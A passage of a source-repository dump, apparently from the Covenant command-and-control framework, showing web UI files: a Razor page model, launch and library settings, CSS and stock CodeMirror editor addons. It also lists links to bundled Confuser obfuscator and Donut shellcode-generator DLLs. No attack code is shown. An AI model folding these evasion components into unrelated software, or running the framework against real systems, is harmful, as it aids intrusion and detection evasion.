_signInManager.SignOutAsync(); 21 | return LocalRedirect("/covenantuser/login"); 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /Covenant/Pages/_Host.cshtml.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using Microsoft.AspNetCore.Mvc; 6 | using Microsoft.AspNetCore.Mvc.RazorPages; 7 | 8 | namespace Covenant.Pages 9 | { 10 | public class _HostModel : PageModel 11 | { 12 | public void OnGet() 13 | { 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /Covenant/Properties/launchSettings.json: -------------------------------------------------------------------------------- 1 | { 2 | "iisSettings": { 3 | "windowsAuthentication": false, 4 | "anonymousAuthentication": true, 5 | "iisExpress": { 6 | "applicationUrl": "http://localhost:57230/", 7 | "sslPort": 0 8 | } 9 | }, 10 | "profiles": { 11 | "IIS Express": { 12 | "commandName": "IISExpress", 13 | "launchBrowser": true, 14 | "launchUrl": "swagger", 15 | "environmentVariables": { 16 | "ASPNETCORE_ENVIRONMENT": "Development" 17 | } 18 | }, 19 | "Covenant": { 20 | "commandName": "Project", 21 | "launchBrowser": true, 22 | "launchUrl": "swagger", 23 | "environmentVariables": { 24 | "ASPNETCORE_ENVIRONMENT": "Development" 25 | }, 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /Covenant/libman.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "1.0", 3 | "defaultProvider": "unpkg", 4 | "libraries": [ 5 | { 6 | "library": "@aspnet/signalr@1.1.4", 7 | "destination": "wwwroot/lib/signalr", 8 | "files": [ 9 | "dist/browser/signalr.js", 10 | "dist/browser/signalr.min.js" 11 | ] 12 | }, 13 | { 14 | "library": "clipboard@2", 15 | "destination": "wwwroot", 16 | "files": [ 17 | "dist/clipboard.min.js" 18 | ] 19 | }, 20 | { 21 | "library": "codemirror@5.48.2", 22 | "destination": "wwwroot/dist/codemirror" 23 | } 24 | ] 25 | } -------------------------------------------------------------------------------- /Covenant/refs/Confuser.Core.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/refs/Confuser.Core.dll -------------------------------------------------------------------------------- /Covenant/refs/Confuser.DynCipher.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/refs/Confuser.DynCipher.dll -------------------------------------------------------------------------------- /Covenant/refs/Confuser.MSBuild.Tasks.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/refs/Confuser.MSBuild.Tasks.dll -------------------------------------------------------------------------------- /Covenant/refs/Confuser.Protections.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/refs/Confuser.Protections.dll -------------------------------------------------------------------------------- /Covenant/refs/Confuser.Renamer.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/refs/Confuser.Renamer.dll -------------------------------------------------------------------------------- /Covenant/refs/Confuser.Runtime.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/refs/Confuser.Runtime.dll -------------------------------------------------------------------------------- /Covenant/refs/Donut.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/refs/Donut.dll -------------------------------------------------------------------------------- /Covenant/refs/PeNet.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/refs/PeNet.dll -------------------------------------------------------------------------------- /Covenant/refs/dnlib.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/refs/dnlib.dll -------------------------------------------------------------------------------- /Covenant/wwwroot/css/bootstrap-multiselect.css: -------------------------------------------------------------------------------- 1 | span.multiselect-native-select{position:relative}span.multiselect-native-select select{border:0!important;clip:rect(0 0 0 0)!important;height:1px!important;margin:-1px -1px -1px -3px!important;overflow:hidden!important;padding:0!important;position:absolute!important;width:1px!important;left:50%;top:30px}.multiselect-container{position:absolute;list-style-type:none;margin:0;padding:0}.multiselect-container .input-group{margin:5px}.multiselect-container .multiselect-reset .input-group{width:93%}.multiselect-container>li{padding:0}.multiselect-container>li>a.multiselect-all label{font-weight:700}.multiselect-container>li.multiselect-group label{margin:0;padding:3px 20px;height:100%;font-weight:700}.multiselect-container>li.multiselect-group-clickable label{cursor:pointer}.multiselect-container>li>a{padding:0}.multiselect-container>li>a>label{margin:0;height:100%;cursor:pointer;font-weight:400;padding:3px 20px 3px 40px}.multiselect-container>li>a>label.checkbox,.multiselect-container>li>a>label.radio{margin:0}.multiselect-container>li>a>label>input[type=checkbox]{margin-bottom:5px}.btn-group>.btn-group:nth-child(2)>.multiselect.btn{border-top-left-radius:4px;border-bottom-left-radius:4px}.form-inline .multiselect-container label.checkbox,.form-inline .multiselect-container label.radio{padding:3px 20px 3px 40px}.form-inline .multiselect-container li a label.checkbox input[type=checkbox],.form-inline .multiselect-container li a label.radio input[type=radio]{margin-left:-20px;margin-right:0} -------------------------------------------------------------------------------- /Covenant/wwwroot/css/covenant-graph.css: -------------------------------------------------------------------------------- 1 | .graph-box svg { 2 | background-color: #FFF; 3 | cursor: default; 4 | -webkit-user-select: none; 5 | -moz-user-select: none; 6 | -ms-user-select: none; 7 | -o-user-select: none; 8 | user-select: none; 9 | } 10 | 11 | .graph-box path.link { 12 | fill: none; 13 | stroke: #000; 14 | stroke-width: 4px; 15 | cursor: default; 16 | } 17 | 18 | .graph-box svg:not(.active):not(.ctrl) path.link { 19 | cursor: pointer; 20 | } 21 | 22 | .graph-box path.link.selected { 23 | stroke-dasharray: 10,2; 24 | } 25 | 26 | .graph-box path.link.dragline { 27 | pointer-events: none; 28 | } 29 | 30 | .graph-box path.link.hidden { 31 | stroke-width: 0; 32 | } 33 | 34 | .graph-box circle.node { 35 | stroke-width: 1.5px; 36 | cursor: pointer; 37 | } 38 | 39 | .graph-box circle.node.reflexive { 40 | stroke: #000 !important; 41 | stroke-width: 2.5px; 42 | } 43 | 44 | .graph-box text { 45 | font: 12px sans-serif; 46 | pointer-events: none; 47 | } 48 | 49 | .graph-box text.id { 50 | text-anchor: middle; 51 | font-weight: bold; 52 | } 53 | -------------------------------------------------------------------------------- /Covenant/wwwroot/css/dashboard.css: -------------------------------------------------------------------------------- 1 | body { 2 | font-size: .875rem; 3 | } 4 | 5 | .feather { 6 | width: 16px; 7 | height: 16px; 8 | vertical-align: text-bottom; 9 | } 10 | 11 | /* 12 | * Sidebar 13 | */ 14 | 15 | .sidebar { 16 | position: fixed; 17 | top: 57px; 18 | bottom: 0; 19 | left: 0; 20 | z-index: 100; /* Behind the navbar */ 21 | padding: 0; 22 | box-shadow: inset -1px 0 0 rgba(0, 0, 0, .1); 23 | width: 180px; 24 | } 25 | 26 | main { 27 | margin: 0px 0px 0px 170px; 28 | } 29 | 30 | @media only screen and (max-width: 785px) { 31 | .sidebar { 32 | display: none; 33 | } 34 | main { 35 | margin: 0px 0px 0px 0px; 36 | } 37 | } 38 | 39 | .sidebar-sticky { 40 | position: -webkit-sticky; 41 | position: sticky; 42 | top: 48px; /* Height of navbar */ 43 | height: calc(100vh - 48px); 44 | padding-top: .5rem; 45 | overflow-x: hidden; 46 | overflow-y: auto; /* Scrollable contents if viewport is shorter than content. */ 47 | } 48 | 49 | .sidebar .nav-link { 50 | font-weight: 500; 51 | color: #333; 52 | } 53 | 54 | .sidebar .nav-link .feather { 55 | margin-right: 4px; 56 | color: #999; 57 | } 58 | 59 | .sidebar .nav-link.active { 60 | color: #007bff; 61 | } 62 | 63 | .sidebar .nav-link:hover .feather, 64 | .sidebar .nav-link.active .feather { 65 | color: inherit; 66 | } 67 | 68 | .sidebar-heading { 69 | font-size: .75rem; 70 | text-transform: uppercase; 71 | } 72 | 73 | /* 74 | * Utilities 75 | */ 76 | 77 | .border-top { 78 | border-top: 1px solid #e5e5e5; 79 | } 80 | 81 | .border-bottom { 82 | border-bottom: 1px solid #e5e5e5; 83 | } -------------------------------------------------------------------------------- /Covenant/wwwroot/css/signin.css: -------------------------------------------------------------------------------- 1 | html, 2 | body { 3 | height: 100%; 4 | } 5 | 6 | body { 7 | display: -ms-flexbox; 8 | display: flex; 9 | -ms-flex-align: center; 10 | align-items: center; 11 | padding-top: 40px; 12 | padding-bottom: 40px; 13 | background-color: #092D47; 14 | } 15 | 16 | .covenant-logo { 17 | margin: auto; 18 | width: 100%; 19 | max-width: 602px; 20 | padding: 15px; 21 | } 22 | 23 | .form-signin { 24 | width: 100%; 25 | max-width: 330px; 26 | padding: 15px; 27 | margin: auto; 28 | } 29 | .form-signin .checkbox { 30 | font-weight: 400; 31 | } 32 | .form-signin .form-control { 33 | position: relative; 34 | box-sizing: border-box; 35 | height: auto; 36 | padding: 10px; 37 | font-size: 16px; 38 | } 39 | .form-signin .form-control:focus { 40 | z-index: 2; 41 | } 42 | .form-signin input[type="text"] { 43 | margin-bottom: -1px; 44 | border-bottom-right-radius: 0; 45 | border-bottom-left-radius: 0; 46 | } 47 | .form-signin input[type="password"] { 48 | margin-bottom: -1px; 49 | border-top-left-radius: 0; 50 | border-top-right-radius: 0; 51 | } -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (C) 2017 by Marijn Haverbeke and others 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/addon/dialog/dialog.css: -------------------------------------------------------------------------------- 1 | .CodeMirror-dialog { 2 | position: absolute; 3 | left: 0; right: 0; 4 | background: inherit; 5 | z-index: 15; 6 | padding: .1em .8em; 7 | overflow: hidden; 8 | color: inherit; 9 | } 10 | 11 | .CodeMirror-dialog-top { 12 | border-bottom: 1px solid #eee; 13 | top: 0; 14 | } 15 | 16 | .CodeMirror-dialog-bottom { 17 | border-top: 1px solid #eee; 18 | bottom: 0; 19 | } 20 | 21 | .CodeMirror-dialog input { 22 | border: none; 23 | outline: none; 24 | background: transparent; 25 | width: 20em; 26 | color: inherit; 27 | font-family: monospace; 28 | } 29 | 30 | .CodeMirror-dialog button { 31 | font-size: 70%; 32 | } 33 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/addon/display/autorefresh.js: -------------------------------------------------------------------------------- 1 | // CodeMirror, copyright (c) by Marijn Haverbeke and others 2 | // Distributed under an MIT license: https://codemirror.net/LICENSE 3 | 4 | (function(mod) { 5 | if (typeof exports == "object" && typeof module == "object") // CommonJS 6 | mod(require("../../lib/codemirror")) 7 | else if (typeof define == "function" && define.amd) // AMD 8 | define(["../../lib/codemirror"], mod) 9 | else // Plain browser env 10 | mod(CodeMirror) 11 | })(function(CodeMirror) { 12 | "use strict" 13 | 14 | CodeMirror.defineOption("autoRefresh", false, function(cm, val) { 15 | if (cm.state.autoRefresh) { 16 | stopListening(cm, cm.state.autoRefresh) 17 | cm.state.autoRefresh = null 18 | } 19 | if (val && cm.display.wrapper.offsetHeight == 0) 20 | startListening(cm, cm.state.autoRefresh = {delay: val.delay || 250}) 21 | }) 22 | 23 | function startListening(cm, state) { 24 | function check() { 25 | if (cm.display.wrapper.offsetHeight) { 26 | stopListening(cm, state) 27 | if (cm.display.lastWrapHeight != cm.display.wrapper.clientHeight) 28 | cm.refresh() 29 | } else { 30 | state.timeout = setTimeout(check, state.delay) 31 | } 32 | } 33 | state.timeout = setTimeout(check, state.delay) 34 | state.hurry = function() { 35 | clearTimeout(state.timeout) 36 | state.timeout = setTimeout(check, 50) 37 | } 38 | CodeMirror.on(window, "mouseup", state.hurry) 39 | CodeMirror.on(window, "keyup", state.hurry) 40 | } 41 | 42 | function stopListening(_cm, state) { 43 | clearTimeout(state.timeout) 44 | CodeMirror.off(window, "mouseup", state.hurry) 45 | CodeMirror.off(window, "keyup", state.hurry) 46 | } 47 | }); 48 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/addon/display/fullscreen.css: -------------------------------------------------------------------------------- 1 | .CodeMirror-fullscreen { 2 | position: fixed; 3 | top: 0; left: 0; right: 0; bottom: 0; 4 | height: auto; 5 | z-index: 9; 6 | } 7 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/addon/display/fullscreen.js: -------------------------------------------------------------------------------- 1 | // CodeMirror, copyright (c) by Marijn Haverbeke and others 2 | // Distributed under an MIT license: https://codemirror.net/LICENSE 3 | 4 | (function(mod) { 5 | if (typeof exports == "object" && typeof module == "object") // CommonJS 6 | mod(require("../../lib/codemirror")); 7 | else if (typeof define == "function" && define.amd) // AMD 8 | define(["../../lib/codemirror"], mod); 9 | else // Plain browser env 10 | mod(CodeMirror); 11 | })(function(CodeMirror) { 12 | "use strict"; 13 | 14 | CodeMirror.defineOption("fullScreen", false, function(cm, val, old) { 15 | if (old == CodeMirror.Init) old = false; 16 | if (!old == !val) return; 17 | if (val) setFullscreen(cm); 18 | else setNormal(cm); 19 | }); 20 | 21 | function setFullscreen(cm) { 22 | var wrap = cm.getWrapperElement(); 23 | cm.state.fullScreenRestore = {scrollTop: window.pageYOffset, scrollLeft: window.pageXOffset, 24 | width: wrap.style.width, height: wrap.style.height}; 25 | wrap.style.width = ""; 26 | wrap.style.height = "auto"; 27 | wrap.className += " CodeMirror-fullscreen"; 28 | document.documentElement.style.overflow = "hidden"; 29 | cm.refresh(); 30 | } 31 | 32 | function setNormal(cm) { 33 | var wrap = cm.getWrapperElement(); 34 | wrap.className = wrap.className.replace(/\s*CodeMirror-fullscreen\b/, ""); 35 | document.documentElement.style.overflow = ""; 36 | var info = cm.state.fullScreenRestore; 37 | wrap.style.width = info.width; wrap.style.height = info.height; 38 | window.scrollTo(info.scrollLeft, info.scrollTop); 39 | cm.refresh(); 40 | } 41 | }); 42 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/addon/edit/trailingspace.js: -------------------------------------------------------------------------------- 1 | // CodeMirror, copyright (c) by Marijn Haverbeke and others 2 | // Distributed under an MIT license: https://codemirror.net/LICENSE 3 | 4 | (function(mod) { 5 | if (typeof exports == "object" && typeof module == "object") // CommonJS 6 | mod(require("../../lib/codemirror")); 7 | else if (typeof define == "function" && define.amd) // AMD 8 | define(["../../lib/codemirror"], mod); 9 | else // Plain browser env 10 | mod(CodeMirror); 11 | })(function(CodeMirror) { 12 | CodeMirror.defineOption("showTrailingSpace", false, function(cm, val, prev) { 13 | if (prev == CodeMirror.Init) prev = false; 14 | if (prev && !val) 15 | cm.removeOverlay("trailingspace"); 16 | else if (!prev && val) 17 | cm.addOverlay({ 18 | token: function(stream) { 19 | for (var l = stream.string.length, i = l; i && /\s/.test(stream.string.charAt(i - 1)); --i) {} 20 | if (i > stream.pos) { stream.pos = i; return null; } 21 | stream.pos = l; 22 | return "trailingspace"; 23 | }, 24 | name: "trailingspace" 25 | }); 26 | }); 27 | }); 28 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/addon/fold/foldgutter.css: -------------------------------------------------------------------------------- 1 | .CodeMirror-foldmarker { 2 | color: blue; 3 | text-shadow: #b9f 1px 1px 2px, #b9f -1px -1px 2px, #b9f 1px -1px 2px, #b9f -1px 1px 2px; 4 | font-family: arial; 5 | line-height: .3; 6 | cursor: pointer; 7 | } 8 | .CodeMirror-foldgutter { 9 | width: .7em; 10 | } 11 | .CodeMirror-foldgutter-open, 12 | .CodeMirror-foldgutter-folded { 13 | cursor: pointer; 14 | } 15 | .CodeMirror-foldgutter-open:after { 16 | content: "\25BE"; 17 | } 18 | .CodeMirror-foldgutter-folded:after { 19 | content: "\25B8"; 20 | } 21 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/addon/hint/show-hint.css: -------------------------------------------------------------------------------- 1 | .CodeMirror-hints { 2 | position: absolute; 3 | z-index: 10; 4 | overflow: hidden; 5 | list-style: none; 6 | 7 | margin: 0; 8 | padding: 2px; 9 | 10 | -webkit-box-shadow: 2px 3px 5px rgba(0,0,0,.2); 11 | -moz-box-shadow: 2px 3px 5px rgba(0,0,0,.2); 12 | box-shadow: 2px 3px 5px rgba(0,0,0,.2); 13 | border-radius: 3px; 14 | border: 1px solid silver; 15 | 16 | background: white; 17 | font-size: 90%; 18 | font-family: monospace; 19 | 20 | max-height: 20em; 21 | overflow-y: auto; 22 | } 23 | 24 | .CodeMirror-hint { 25 | margin: 0; 26 | padding: 0 4px; 27 | border-radius: 2px; 28 | white-space: pre; 29 | color: black; 30 | cursor: pointer; 31 | } 32 | 33 | li.CodeMirror-hint-active { 34 | background: #08f; 35 | color: white; 36 | } 37 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/addon/lint/coffeescript-lint.js: -------------------------------------------------------------------------------- 1 | // CodeMirror, copyright (c) by Marijn Haverbeke and others 2 | // Distributed under an MIT license: https://codemirror.net/LICENSE 3 | 4 | // Depends on coffeelint.js from http://www.coffeelint.org/js/coffeelint.js 5 | 6 | // declare global: coffeelint 7 | 8 | (function(mod) { 9 | if (typeof exports == "object" && typeof module == "object") // CommonJS 10 | mod(require("../../lib/codemirror")); 11 | else if (typeof define == "function" && define.amd) // AMD 12 | define(["../../lib/codemirror"], mod); 13 | else // Plain browser env 14 | mod(CodeMirror); 15 | })(function(CodeMirror) { 16 | "use strict"; 17 | 18 | CodeMirror.registerHelper("lint", "coffeescript", function(text) { 19 | var found = []; 20 | if (!window.coffeelint) { 21 | if (window.console) { 22 | window.console.error("Error: window.coffeelint not defined, CodeMirror CoffeeScript linting cannot run."); 23 | } 24 | return found; 25 | } 26 | var parseError = function(err) { 27 | var loc = err.lineNumber; 28 | found.push({from: CodeMirror.Pos(loc-1, 0), 29 | to: CodeMirror.Pos(loc, 0), 30 | severity: err.level, 31 | message: err.message}); 32 | }; 33 | try { 34 | var res = coffeelint.lint(text); 35 | for(var i = 0; i < res.length; i++) { 36 | parseError(res[i]); 37 | } 38 | } catch(e) { 39 | found.push({from: CodeMirror.Pos(e.location.first_line, 0), 40 | to: CodeMirror.Pos(e.location.last_line, e.location.last_column), 41 | severity: 'error', 42 | message: e.message}); 43 | } 44 | return found; 45 | }); 46 | 47 | }); 48 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/addon/lint/css-lint.js: -------------------------------------------------------------------------------- 1 | // CodeMirror, copyright (c) by Marijn Haverbeke and others 2 | // Distributed under an MIT license: https://codemirror.net/LICENSE 3 | 4 | // Depends on csslint.js from https://github.com/stubbornella/csslint 5 | 6 | // declare global: CSSLint 7 | 8 | (function(mod) { 9 | if (typeof exports == "object" && typeof module == "object") // CommonJS 10 | mod(require("../../lib/codemirror")); 11 | else if (typeof define == "function" && define.amd) // AMD 12 | define(["../../lib/codemirror"], mod); 13 | else // Plain browser env 14 | mod(CodeMirror); 15 | })(function(CodeMirror) { 16 | "use strict"; 17 | 18 | CodeMirror.registerHelper("lint", "css", function(text, options) { 19 | var found = []; 20 | if (!window.CSSLint) { 21 | if (window.console) { 22 | window.console.error("Error: window.CSSLint not defined, CodeMirror CSS linting cannot run."); 23 | } 24 | return found; 25 | } 26 | var results = CSSLint.verify(text, options), messages = results.messages, message = null; 27 | for ( var i = 0; i < messages.length; i++) { 28 | message = messages[i]; 29 | var startLine = message.line -1, endLine = message.line -1, startCol = message.col -1, endCol = message.col; 30 | found.push({ 31 | from: CodeMirror.Pos(startLine, startCol), 32 | to: CodeMirror.Pos(endLine, endCol), 33 | message: message.message, 34 | severity : message.type 35 | }); 36 | } 37 | return found; 38 | }); 39 | 40 | }); 41 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/addon/lint/json-lint.js: -------------------------------------------------------------------------------- 1 | // CodeMirror, copyright (c) by Marijn Haverbeke and others 2 | // Distributed under an MIT license: https://codemirror.net/LICENSE 3 | 4 | // Depends on jsonlint.js from https://github.com/zaach/jsonlint 5 | 6 | // declare global: jsonlint 7 | 8 | (function(mod) { 9 | if (typeof exports == "object" && typeof module == "object") // CommonJS 10 | mod(require("../../lib/codemirror")); 11 | else if (typeof define == "function" && define.amd) // AMD 12 | define(["../../lib/codemirror"], mod); 13 | else // Plain browser env 14 | mod(CodeMirror); 15 | })(function(CodeMirror) { 16 | "use strict"; 17 | 18 | CodeMirror.registerHelper("lint", "json", function(text) { 19 | var found = []; 20 | if (!window.jsonlint) { 21 | if (window.console) { 22 | window.console.error("Error: window.jsonlint not defined, CodeMirror JSON linting cannot run."); 23 | } 24 | return found; 25 | } 26 | // for jsonlint's web dist jsonlint is exported as an object with a single property parser, of which parseError 27 | // is a subproperty 28 | var jsonlint = window.jsonlint.parser || window.jsonlint 29 | jsonlint.parseError = function(str, hash) { 30 | var loc = hash.loc; 31 | found.push({from: CodeMirror.Pos(loc.first_line - 1, loc.first_column), 32 | to: CodeMirror.Pos(loc.last_line - 1, loc.last_column), 33 | message: str}); 34 | }; 35 | try { jsonlint.parse(text); } 36 | catch(e) {} 37 | return found; 38 | }); 39 | 40 | }); 41 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/addon/lint/yaml-lint.js: -------------------------------------------------------------------------------- 1 | // CodeMirror, copyright (c) by Marijn Haverbeke and others 2 | // Distributed under an MIT license: https://codemirror.net/LICENSE 3 | 4 | (function(mod) { 5 | if (typeof exports == "object" && typeof module == "object") // CommonJS 6 | mod(require("../../lib/codemirror")); 7 | else if (typeof define == "function" && define.amd) // AMD 8 | define(["../../lib/codemirror"], mod); 9 | else // Plain browser env 10 | mod(CodeMirror); 11 | })(function(CodeMirror) { 12 | "use strict"; 13 | 14 | // Depends on js-yaml.js from https://github.com/nodeca/js-yaml 15 | 16 | // declare global: jsyaml 17 | 18 | CodeMirror.registerHelper("lint", "yaml", function(text) { 19 | var found = []; 20 | if (!window.jsyaml) { 21 | if (window.console) { 22 | window.console.error("Error: window.jsyaml not defined, CodeMirror YAML linting cannot run."); 23 | } 24 | return found; 25 | } 26 | try { jsyaml.loadAll(text); } 27 | catch(e) { 28 | var loc = e.mark, 29 | // js-yaml YAMLException doesn't always provide an accurate lineno 30 | // e.g., when there are multiple yaml docs 31 | // --- 32 | // --- 33 | // foo:bar 34 | from = loc ? CodeMirror.Pos(loc.line, loc.column) : CodeMirror.Pos(0, 0), 35 | to = from; 36 | found.push({ from: from, to: to, message: e.message }); 37 | } 38 | return found; 39 | }); 40 | 41 | }); 42 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/addon/mode/multiplex_test.js: -------------------------------------------------------------------------------- 1 | // CodeMirror, copyright (c) by Marijn Haverbeke and others 2 | // Distributed under an MIT license: https://codemirror.net/LICENSE 3 | 4 | (function() { 5 | CodeMirror.defineMode("markdown_with_stex", function(){ 6 | var inner = CodeMirror.getMode({}, "stex"); 7 | var outer = CodeMirror.getMode({}, "markdown"); 8 | 9 | var innerOptions = { 10 | open: '$', 11 | close: '$', 12 | mode: inner, 13 | delimStyle: 'delim', 14 | innerStyle: 'inner' 15 | }; 16 | 17 | return CodeMirror.multiplexingMode(outer, innerOptions); 18 | }); 19 | 20 | var mode = CodeMirror.getMode({}, "markdown_with_stex"); 21 | 22 | function MT(name) { 23 | test.mode( 24 | name, 25 | mode, 26 | Array.prototype.slice.call(arguments, 1), 27 | 'multiplexing'); 28 | } 29 | 30 | MT( 31 | "stexInsideMarkdown", 32 | "[strong **Equation:**] [delim&delim-open $][inner&tag \\pi][delim&delim-close $]"); 33 | })(); 34 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/addon/runmode/colorize.js: -------------------------------------------------------------------------------- 1 | // CodeMirror, copyright (c) by Marijn Haverbeke and others 2 | // Distributed under an MIT license: https://codemirror.net/LICENSE 3 | 4 | (function(mod) { 5 | if (typeof exports == "object" && typeof module == "object") // CommonJS 6 | mod(require("../../lib/codemirror"), require("./runmode")); 7 | else if (typeof define == "function" && define.amd) // AMD 8 | define(["../../lib/codemirror", "./runmode"], mod); 9 | else // Plain browser env 10 | mod(CodeMirror); 11 | })(function(CodeMirror) { 12 | "use strict"; 13 | 14 | var isBlock = /^(p|li|div|h\\d|pre|blockquote|td)$/; 15 | 16 | function textContent(node, out) { 17 | if (node.nodeType == 3) return out.push(node.nodeValue); 18 | for (var ch = node.firstChild; ch; ch = ch.nextSibling) { 19 | textContent(ch, out); 20 | if (isBlock.test(node.nodeType)) out.push("\n"); 21 | } 22 | } 23 | 24 | CodeMirror.colorize = function(collection, defaultMode) { 25 | if (!collection) collection = document.body.getElementsByTagName("pre"); 26 | 27 | for (var i = 0; i < collection.length; ++i) { 28 | var node = collection[i]; 29 | var mode = node.getAttribute("data-lang") || defaultMode; 30 | if (!mode) continue; 31 | 32 | var text = []; 33 | textContent(node, text); 34 | node.innerHTML = ""; 35 | CodeMirror.runMode(text.join(""), mode, node); 36 | 37 | node.className += " cm-s-default"; 38 | } 39 | }; 40 | }); 41 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/addon/scroll/simplescrollbars.css: -------------------------------------------------------------------------------- 1 | .CodeMirror-simplescroll-horizontal div, .CodeMirror-simplescroll-vertical div { 2 | position: absolute; 3 | background: #ccc; 4 | -moz-box-sizing: border-box; 5 | box-sizing: border-box; 6 | border: 1px solid #bbb; 7 | border-radius: 2px; 8 | } 9 | 10 | .CodeMirror-simplescroll-horizontal, .CodeMirror-simplescroll-vertical { 11 | position: absolute; 12 | z-index: 6; 13 | background: #eee; 14 | } 15 | 16 | .CodeMirror-simplescroll-horizontal { 17 | bottom: 0; left: 0; 18 | height: 8px; 19 | } 20 | .CodeMirror-simplescroll-horizontal div { 21 | bottom: 0; 22 | height: 100%; 23 | } 24 | 25 | .CodeMirror-simplescroll-vertical { 26 | right: 0; top: 0; 27 | width: 8px; 28 | } 29 | .CodeMirror-simplescroll-vertical div { 30 | right: 0; 31 | width: 100%; 32 | } 33 | 34 | 35 | .CodeMirror-overlayscroll .CodeMirror-scrollbar-filler, .CodeMirror-overlayscroll .CodeMirror-gutter-filler { 36 | display: none; 37 | } 38 | 39 | .CodeMirror-overlayscroll-horizontal div, .CodeMirror-overlayscroll-vertical div { 40 | position: absolute; 41 | background: #bcd; 42 | border-radius: 3px; 43 | } 44 | 45 | .CodeMirror-overlayscroll-horizontal, .CodeMirror-overlayscroll-vertical { 46 | position: absolute; 47 | z-index: 6; 48 | } 49 | 50 | .CodeMirror-overlayscroll-horizontal { 51 | bottom: 0; left: 0; 52 | height: 6px; 53 | } 54 | .CodeMirror-overlayscroll-horizontal div { 55 | bottom: 0; 56 | height: 100%; 57 | } 58 | 59 | .CodeMirror-overlayscroll-vertical { 60 | right: 0; top: 0; 61 | width: 6px; 62 | } 63 | .CodeMirror-overlayscroll-vertical div { 64 | right: 0; 65 | width: 100%; 66 | } 67 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/addon/search/matchesonscrollbar.css: -------------------------------------------------------------------------------- 1 | .CodeMirror-search-match { 2 | background: gold; 3 | border-top: 1px solid orange; 4 | border-bottom: 1px solid orange; 5 | -moz-box-sizing: border-box; 6 | box-sizing: border-box; 7 | opacity: .5; 8 | } 9 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/addon/tern/worker.js: -------------------------------------------------------------------------------- 1 | // CodeMirror, copyright (c) by Marijn Haverbeke and others 2 | // Distributed under an MIT license: https://codemirror.net/LICENSE 3 | 4 | // declare global: tern, server 5 | 6 | var server; 7 | 8 | this.onmessage = function(e) { 9 | var data = e.data; 10 | switch (data.type) { 11 | case "init": return startServer(data.defs, data.plugins, data.scripts); 12 | case "add": return server.addFile(data.name, data.text); 13 | case "del": return server.delFile(data.name); 14 | case "req": return server.request(data.body, function(err, reqData) { 15 | postMessage({id: data.id, body: reqData, err: err && String(err)}); 16 | }); 17 | case "getFile": 18 | var c = pending[data.id]; 19 | delete pending[data.id]; 20 | return c(data.err, data.text); 21 | default: throw new Error("Unknown message type: " + data.type); 22 | } 23 | }; 24 | 25 | var nextId = 0, pending = {}; 26 | function getFile(file, c) { 27 | postMessage({type: "getFile", name: file, id: ++nextId}); 28 | pending[nextId] = c; 29 | } 30 | 31 | function startServer(defs, plugins, 